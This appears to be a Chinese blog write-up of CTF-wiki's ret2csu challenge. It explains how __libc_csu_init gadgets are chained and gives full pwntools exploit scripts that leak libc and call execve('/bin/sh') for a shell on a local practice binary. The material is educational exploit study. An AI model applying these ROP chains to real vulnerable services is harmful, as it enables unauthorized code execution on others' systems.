Eureka's Studio.

CTFwiki基本栈溢出

2023/10/31

ctfwiki基本栈溢出部分题解

ret2csu

原理

ret2csu的思路具有一定的通杀性 因为该方法基于的是__libc_csu_init函数 该函数基本所有动态链接程序都会含有 举一个wiki上的例子

1
2
write(1,__libc_start_main_got,8)
payload = 'a' * padding + pop_rdi + 1 + pop_rsi + __libc_start_main_got + pop_rbx + 8 + ret_addr

在64位环境下 如果想要实现libc泄漏 假如使用write函数的话 会发现相当的麻烦 因为构造payload本身不是很难 但是关键是要找到合适的gadget

1
2
3
4
5
6
7
8
9
10
# apple @ Macbook-Pro in ~/Desktop [21:53:38] 
$ ropgadget --binary level5 --only 'pop|ret'
Gadgets information
============================================================
0x0000000000400512 : pop rbp ; ret
0x0000000000400511 : pop rbx ; pop rbp ; ret
0x0000000000400417 : ret
0x0000000000400442 : ret 0x200b

Unique gadgets found: 4

因为你看 根本就没有 于是乎我们必须要另寻他路 ret2csu的目的就是利用__libc_csu_init函数中的部分代码 通过构造栈结构来实现取代Ropgadget的效果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
.text:00000000004005F0 loc_4005F0:                             ; CODE XREF: __libc_csu_init+64↓j
.text:00000000004005F0 mov rdx, r15
.text:00000000004005F3 mov rsi, r14
.text:00000000004005F6 mov edi, r13d
.text:00000000004005F9 call qword ptr [r12+rbx*8]
.text:00000000004005FD add rbx, 1
.text:0000000000400601 cmp rbx, rbp
.text:0000000000400604 jnz short loc_4005F0
.text:0000000000400606
.text:0000000000400606 loc_400606: ; CODE XREF: __libc_csu_init+48↑j
.text:0000000000400606 mov rbx, [rsp+38h+var_30]
.text:000000000040060B mov rbp, [rsp+38h+var_28]
.text:0000000000400610 mov r12, [rsp+38h+var_20]
.text:0000000000400615 mov r13, [rsp+38h+var_18]
.text:000000000040061A mov r14, [rsp+38h+var_10]
.text:000000000040061F mov r15, [rsp+38h+var_8]
.text:0000000000400624 add rsp, 38h
.text:0000000000400628 retn

截取了__libc_csu_init的两个子函数 从400606到400628中 对rbx到rsp7个寄存器进行赋值操作 其中除了rsp寄存器以外其余的我们都可以通过构造栈空间的方式进行控制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
.text:0000000000400606 loc_400606:                             ; CODE XREF: __libc_csu_init+48↑j
.text:0000000000400606 mov rbx, [rsp+38h+var_30]
.text:000000000040060B mov rbp, [rsp+38h+var_28]
.text:0000000000400610 mov r12, [rsp+38h+var_20]
.text:0000000000400615 mov r13, [rsp+38h+var_18]
.text:000000000040061A mov r14, [rsp+38h+var_10]
.text:000000000040061F mov r15, [rsp+38h+var_8]
.text:0000000000400624 add rsp, 38h
.text:0000000000400628 retn

.text:0000000000400616 loc_400616: ; CODE XREF: __libc_csu_init+34j
.text:0000000000400616 add rsp, 8
.text:000000000040061A pop rbx
.text:000000000040061B pop rbp
.text:000000000040061C pop r12
.text:000000000040061E pop r13
.text:0000000000400620 pop r14
.text:0000000000400622 pop r15
.text:0000000000400624 retn
.text:0000000000400624 __libc_csu_init endp

请注意 以上是我提取了两个不同程序的同一部分代码 可以看到下部分是pop 上部分是mov指令 其实二者没有区别 都是对寄存器进行赋值操作 只不过一个是直接pop 另一个是通过改变rsp指针位置 不过mov办法的具体var_xx数值需要我们进行动态调试

1
2
3
4
5
6
7
8
9
.text:00000000004005F0 loc_4005F0:                             ; CODE XREF: __libc_csu_init+64↓j
.text:00000000004005F0 mov rdx, r15
.text:00000000004005F3 mov rsi, r14
.text:00000000004005F6 mov edi, r13d
.text:00000000004005F9 call qword ptr [r12+rbx*8]
.text:00000000004005FD add rbx, 1
.text:0000000000400601 cmp rbx, rbp
.text:0000000000400604 jnz short loc_4005F0
.text:0000000000400606

这段代码很好理解 如果结合上述所说 我们控制的r13-15寄存器可以为rdx rsi edi寄存器进行赋值 64位传参的前3个寄存器是rdi rsi rdx 后两个有了 还差一个rdi

1
.text:00000000004005F6                 mov     edi, r13d

r13的低32位赋值给edi 因此rdi的低32位就确定了 调试过程中发现执行到此时rdi的高32位为0 那么就代表我们可以控制rdi寄存器了 如果我们设置rbx为0的话 那么call的就是r12的地址了 在设置rbp为1 那么cmp的结果相等 就不会实行跳转 初步的payload可以写成如下

1
2
3
4
5
6
7
8
9
10
csu1 = 0x400606
csu2 = 0x4005F0

def csu(rbx,rbp,r12,r13,r14,r15,ret):
payload = 'a' * 136
payload += p64(csu1)
payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(csu2)

csu(0,1,write_got,8,write_got)

细心的师傅肯定想到一个问题 这不是和libc泄漏很像吗 那为啥libc泄漏call的是plt表而这里是got表 那是因为对于libc泄漏而言 我们控制的是返回地址 返回地址所填写的必须是一个指令 而got表中存储的是指令的地址 对于此题而言 单纯的call就得填写指令的地址了 因为返回地址最后得pop eip

1
2
3
4
5
6
7
8
9
10
11
53: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND read@@GLIBC_2.2.5
54: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@@GLIBC_
55: 0000000000601018 0 NOTYPE GLOBAL DEFAULT 24 __data_start
56: 0000000000000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__
57: 0000000000601020 0 OBJECT GLOBAL HIDDEN 24 __dso_handle
58: 0000000000400688 4 OBJECT GLOBAL DEFAULT 15 _IO_stdin_used
59: 00000000004005a0 137 FUNC GLOBAL DEFAULT 13 __libc_csu_init
60: 0000000000601038 0 NOTYPE GLOBAL DEFAULT ABS _end
61: 0000000000400460 0 FUNC GLOBAL DEFAULT 13 _start
62: 0000000000601028 0 NOTYPE GLOBAL DEFAULT ABS __bss_start
63: 0000000000400564 47 FUNC GLOBAL DEFAULT 13 main

还有一个问题就是 就像libc泄漏一样 一趟是没法解决问题的 我们必须可持续发展 在结束后还得ret到main函数中 对于4005F0而言 并没有ret指令 那么我们必须借用400606的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
.text:00000000004005F0 loc_4005F0:                             ; CODE XREF: __libc_csu_init+64↓j
.text:00000000004005F0 mov rdx, r15
.text:00000000004005F3 mov rsi, r14
.text:00000000004005F6 mov edi, r13d
.text:00000000004005F9 call qword ptr [r12+rbx*8]
.text:00000000004005FD add rbx, 1
.text:0000000000400601 cmp rbx, rbp
.text:0000000000400604 jnz short loc_4005F0
.text:0000000000400606
.text:0000000000400606 loc_400606: ; CODE XREF: __libc_csu_init+48↑j
.text:0000000000400606 mov rbx, [rsp+38h+var_30]
.text:000000000040060B mov rbp, [rsp+38h+var_28]
.text:0000000000400610 mov r12, [rsp+38h+var_20]
.text:0000000000400615 mov r13, [rsp+38h+var_18]
.text:000000000040061A mov r14, [rsp+38h+var_10]
.text:000000000040061F mov r15, [rsp+38h+var_8]
.text:0000000000400624 add rsp, 38h
.text:0000000000400628 retn

因此我们设置rbx=0 这样+1以后就会相等 跳过jnz 之后由于最后将esp+=0x38 那么为了覆盖掉 我们还需要0x38个字节 csu1 + 参数 + 返回地址(csu2) + padding + 返回地址(main)

1
2
3
4
5
6
7
8
9
10
11
12
csu1 = 0x400606
csu2 = 0x4005F0

def csu(rbx,rbp,r12,r13,r14,r15,ret):
payload = 'a' * 136
payload += p64(csu1)
payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(csu2)
payload += 'a' * 0x38
payload += p64(main)

csu(0,1,write_got,8,write_got,main)

这样一个基本的思路就清晰了 现在开始解题 不过这个level5编译版本太老了 我自己编译了一个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
.text:0000000000400600 loc_400600:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400600 mov rdx, r13
.text:0000000000400603 mov rsi, r14
.text:0000000000400606 mov edi, r15d
.text:0000000000400609 call qword ptr [r12+rbx*8]
.text:000000000040060D add rbx, 1
.text:0000000000400611 cmp rbx, rbp
.text:0000000000400614 jnz short loc_400600
.text:0000000000400616
.text:0000000000400616 loc_400616: ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400616 add rsp, 8
.text:000000000040061A pop rbx
.text:000000000040061B pop rbp
.text:000000000040061C pop r12
.text:000000000040061E pop r13
.text:0000000000400620 pop r14
.text:0000000000400622 pop r15
.text:0000000000400624 retn

400600基本没差别 关键在于400616处 此处并没有告诉我们关于rsp的堆栈操作 我们无法从ida得知400616与ret地址之间的padding

1
2
3
4
5
6
7
8
9
10
11
12
0x400616       <__libc_csu_init+86>       add    rsp, 8
0x40061a <__libc_csu_init+90> pop rbx
0x40061b <__libc_csu_init+91> pop rbp
0x40061c <__libc_csu_init+92> pop r12
0x40061e <__libc_csu_init+94> pop r13
0x400620 <__libc_csu_init+96> pop r14
0x400622 <__libc_csu_init+98> pop r15
0x400624 <__libc_csu_init+100> ret

0x7ffff7df1040 <__libc_start_main+128> mov rdx, qword ptr [rip + 0x1c7e19]
0x7ffff7df1047 <__libc_start_main+135> mov eax, dword ptr [rdx + 0x210]
0x7ffff7df104d <__libc_start_main+141> test eax, eax

这是我在动调时看到的 在400624之后 ret到的是<__libc_start_main+128> 这个地址 那么我去看了眼栈结构

1
2
3
4
5
6
7
8
9
00:0000│ rsp     0x7fffffffe560 —▸ 0x7ffff7fbe2e8 (__exit_funcs_lock) ◂— 0x0
01:00080x7fffffffe568 —▸ 0x4005c0 (__libc_csu_init) ◂— push r15
02:00100x7fffffffe570 ◂— 0x0
03:00180x7fffffffe578 —▸ 0x400470 (_start) ◂— xor ebp, ebp
04:00200x7fffffffe580 —▸ 0x7fffffffe680 ◂— 0x1
05:00280x7fffffffe588 ◂— 0x0
06:00300x7fffffffe590 ◂— 0x0
07:00380x7fffffffe598 —▸ 0x7ffff7df1040 (__libc_start_main+128) ◂— mov rdx, qword ptr [rip + 0x1c7e19]
08:00400x7fffffffe5a0 ◂— 0x0

之前还想找rbp来着 后来对照了一下不同版本的ubuntu 发现确实rsp与返回地址间相差0x38个字节

1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> stack 25
00:0000│ rsp 0x7fffcb531058 ◂— 0x6161616161616161 ('aaaaaaaa')
... ↓
07:00380x7fffcb531090 —▸ 0x400587 (main) ◂— push rbp
08:00400x7fffcb531098 ◂— 0x697d920825d30ed9
09:00480x7fffcb5310a0 ◂— 0x0
... ↓
0c:00600x7fffcb5310b8 —▸ 0x7fffcb531128 —▸ 0x7fffcb5322fb ◂— 'WINDOWID=60817418'
0d:00680x7fffcb5310c0 —▸ 0x7fa815fa2168 ◂— 0x0
0e:00700x7fffcb5310c8 —▸ 0x7fa815d8b80b (_dl_init+139) ◂— jmp 0x7fa815d8b7e0
0f:00780x7fffcb5310d0 ◂— 0x0
... ↓
11:00880x7fffcb5310e0 —▸ 0x400470 (_start) ◂— xor ebp, ebp

读者也可以这么理解 结合400616的代码发现 无论是pop还是add rsp,8 都会使得rsp向高地址移动8个字节 那么总共有7个如此的操作rsp总共会向高地址移动7*8=56个字节 之后才会ret 那么我们覆盖栈地址也就需要0x38个字节(我们用的是read函数 所以读入时覆盖的是栈空间 但是待400616函数执行时 要预留出相应的rsp移动空间) 实在不明白的话多多思考

低版本EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

sh = process('./1')
elf = ELF('./1')
context.log_level = 'debug'

csu1 = 0x40061A
csu2 = 0x400600
write_got = elf.got['write']
libc_start_main_got = elf.got['__libc_start_main']
main_addr = elf.symbols['main']

def csu(rbx,rbp,r12,r13,r14,r15,ret):
payload = 'a' * 136
payload += p64(csu1)
payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(csu2)
payload += 'a' * 0x38
payload += p64(main_addr)
sh.sendline(payload)

sh.recvuntil('Hello, World\\n')
csu(0,1,write_got,8,libc_start_main_got,1,main_addr)
libc_start_main_addr = u64(sh.recv(6).ljust(8,'\\0'))
print hex(libc_start_main_addr)

[DEBUG] Received 0x15 bytes:
00000000 c0 3f 0a e3 c3 7f 00 00 48 65 6c 6c 6f 2c 20 57 │·?··│····│Hell│o, W│
00000010 6f 72 6c 64 0a │orld│·│
00000015
0x7fc3e30a3fc0

成功获取libc_start_main地址 剩下的使用libc寻找system和shell的方法就不赘述了 这里重点讲一下使用execve的

1
2
3
4
5
6
7
#read(0,bss_base,16)
csu(0,1,read_got,32,bss_base,0,main_addr)
sh.send(p64(execve_addr) + '/bin/sh\\x00')

sh.recvuntil('Hello, World\\n')
csu(0,1,bss_base,0,0,bss_base+8,main_addr)
sh.interactive()

这里和SROP不太一样的地方在于 这里是单纯的将execve函数地址以及/bin/sh\x00字符串写入bss段中 并且很暴力的构造栈空间 将返回地址指向execve_addr 让bss_base+8成为参数 不过在高版本的ubuntu中这样并不行 因为稍高版本的ubuntu的bss段就没有执行权限了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
from LibcSearcher import *

sh = process('./1')
elf = ELF('./1')
context.log_level = 'debug'

csu1 = 0x000000000040061A
csu2 = 0x0000000000400600
bss_base = elf.bss()
write_got = elf.got['write']
main_addr = elf.symbols['main']
read_got = elf.got['read']

def csu(rbx,rbp,r12,r13,r14,r15,ret):
payload = 'a' * 136
payload += p64(csu1)
payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(csu2)
payload += 'a' * 0x38
payload += p64(main_addr)
sh.send(payload)

sh.recvuntil('Hello, World\\n')
# write(1,write_got,8)
csu(0,1,write_got,8,write_got,1,main_addr)
write_addr = u64(sh.recv(8))

libc = LibcSearcher('write',write_addr)
libc_base = write_addr - libc.dump('write')
execve_addr = libc_base + libc.dump('execve')
log.success('execve_addr ' + hex(execve_addr))

sh.recvuntil('Hello, World\\n')
#read(0,bss_base,32)
csu(0,1,read_got,32,bss_base,0,main_addr)
sh.sendline(p64(execve_addr) + '/bin/sh\\x00')

sh.recvuntil('Hello, World\\n')
csu(0,1,bss_base,0,0,bss_base+8,main_addr)
sh.interactive()

最后注意一下binsh那块的sendline 我试了一下p64(execve_addr) + ‘/bin/sh\x00’加起来刚好16个字节 如果用sendline的话后面还会补一个0x0a 那么会read那边字节数要改成32字节 不然会超 对于高版本而言 可能该EXP会失效 还是用老办法或者带一个mprotect的函数修改bss段权限

1
2
3
4
5
6
7
8
[DEBUG] Sent 0x10 bytes:
00000000 f0 17 dd 4e 66 7f 00 00 2f 62 69 6e 2f 73 68 00 │···N│f···│/bin│/sh·│
00000010

[DEBUG] Sent 0x11 bytes:
00000000 f0 27 63 30 41 7f 00 00 2f 62 69 6e 2f 73 68 00 │·'c0│A···│/bin│/sh·│
00000010 0a │·│
00000011
CATALOG
  1. 1. ret2csu
    1. 1.1. 原理
    2. 1.2. 低版本EXP